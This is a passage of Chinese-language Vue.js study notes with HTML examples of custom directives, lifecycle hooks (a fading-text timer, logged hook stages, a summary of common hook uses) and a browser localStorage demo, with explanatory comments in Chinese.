// },
// inserted(element,binding){
// element.focus()
// },
// update(element,binding){
// element.value=binding.value
// }
// })
new Vue({
el:'#root',
data:{
n:1,
n2:2
},
//这里是局部的自定义指令,还可以自定义全局的指令
// directives: {
// //这个是函数式的指令
// // big(element,binding){
// // //在这里element是指令所在的那个元素的dom,binding指这个指令,绑定的值可以通过value取到
// // console.log(element,binding,this)
// // element.value=binding.value*10
// // },
// //这个是对象式的自定义指令,里面有三个函数
// big2:{
// //在指令初次绑定在节点上时,仅仅在初始化的时候调用一次
// bind(element,binding){
// console.log("初始化加载一次")
// element.value=binding.value
// },
// //在vue将编译好的虚拟dom变成真实dom并挂载到页面中之后,才调用
// inserted(element,binding){
// console.log("虚拟dom变成真实dom并挂载在页面中调用")
// //这里需要注意的是有些方法需要dom在页面中存在后才有效,所以有时候更换顺序就可以
// element.focus()
// },
// //在指令所依赖的数据发生改变的时候调用
// update(element,binding){
// console.log("依赖的数据发生改变调用")
// element.value=binding.value
// }
// //这里注意的是,函数式的方法的方法简写默认是实现了bind和update
// //如果要在dom加载之后就做一些事情,要用对象式的inserted
// }
// },
methods:{
add(){
this.n++
}
}
})
</script>
</body>
</html>
vue的生命周期
什么是生命周期函数
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<!--
生命周期:
1.有名:生命周期回调函数,生命周期函数,生命周期钩子
2.是什么:vue在一些关键时期帮我们调用一些特殊名字的函数
3.注意:生命周期的函数名字不可以更改,但是函数体由程序员写
4.生命周期函数的this指向的是vm实例对象
-->
<!-- 案例要求:实现一个忽明忽暗的文字效果 -->
<div id="root">
<!-- 在这里在es6语法中,如果key和value的名字一样就可以简写为一个,所以这里可以写成opacity -->
<h1 :style="{opacity:opacity}">Hello,World!!!</h1>
<h2>{{opacity}}</h2>
</div>
<script>
new Vue({
el: '#root',
data: {
//设置透明度
opacity: 0
},
//利用mounted钩子函数来实现
//这个钩子函数在vue的虚拟dom转成真实dom并挂载到页面之后执行一次
mounted() {
setInterval(()=>{
this.opacity+=0.01
if(this.opacity>=1){
this.opacity=0
}
},16)
}
})
</script>
</body>
</html>
所有的生命周期函数
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="../vue.js"></script>
</head>
<body>
<div id="root">
{{number}}
</div>
<script>
const vm= new Vue({
el:'#root',
data:{
number:1
},
//初始化一些规则,比如:准备一些规则当用once事件修饰符的时候怎么做,数据侦听、计算属性、方法、事件/侦听器的回调函数,还没有—data
beforeCreate () {
console.log("初始化一些规则")
console.log(this);
console.log(this.$el)
},
//此阶段的时候,数据侦听和计算属性等一些规则已经初始化完,实例里面已经有—data了
//开始编译模板生成虚拟dom(在内存中)
created(){
console.log("初始化完毕")
console.log(this.$el)
},
beforeMount () {
console.log("挂载前")
console.log(this.$el)
},
//当挂载完毕后,此时,vue已经将虚拟dom转成真实dom挂载在页面上,数据可以显示(同时vm.$el会将虚拟dom保存起来以便更新对比)
//真实dom被挂载到真实页面时候,vue解析模板,将数据渲染到页面上
mounted () {
console.log("挂载完毕")
console.log(this.$el)
},
beforeUpdate () {
console.log("旧的真实dom还未替换")
//此时利用vue工具更新number页面没有更新
},
//更新完毕,旧的真实dom被新的真实dom替换,页面展示新数据
updated () {
console.log("新的真实dom已经替换完成")
},
beforeDestroy () {
console.log("销毁前")
},
destroyed () {
console.log("已销毁");
}
})
</script>
</body>
</html>
生命周期总结
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!--
常用的生命周期钩子:
1.mounted:这里通常用于:发送ajax请求,启动定时器,绑定自定义事件,订阅消息
2.beforeDestroy:这里通常用于:清除定时器,解绑自定义事件,取消订阅消息等(收尾工作)
关于销毁Vue实例:
1.手动销毁:vm.$destroy(),但是vm实例在以后的组件开发中一般都不是人为销毁的
2.销毁后自定义事件会失败,但原生dom事件依然有效
3.一般不会在beforeDestroy中操作数据,因为即是操作数据,也不会触发更新流程了
-->
</body>
</html>
组件的概念
无
单文件组件
无
脚手架
无
webStorage对象
浏览器自带的存储器
- localStorage和sessionStorage
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!--
总结(webStorage):
1.存储大小一般为5M左右,不同浏览器不一样
2.浏览器通过window.localStorage或者window.sessionStorage来实现本地浏览器的数据存储
3.相关的API:xxxStorage.setItem(key,value),getItem(key),removeItem(key),clear()
注意点:key和value都是字符串
4.备注:
(1)sessionStorage存储的数据生命周期为一次会话,localStorage为永久(只要不认为删除)
(2)如果value值获取不到,getItem会返回null,JSON.parse(null)的结果返回null
-->
<h1>localStorage</h1>
<button onclick="addinfo()">添加</button>
<button onclick="deleteinfo()">删除</button>
<button onclick="clearinfo()">清空</button>
<button onclick="getinfo()">查看</button>
<script>
function addinfo() {
localStorage.setItem('key','value')
}
function deleteinfo() {
localStorage.removeItem('key')
}
function clearinfo() {
localStorage.clear()
}
function getinfo() {
console.log(localStorage.getItem('key'))
}
</script>
</body>
</html>

浙公网安备 33010602011771号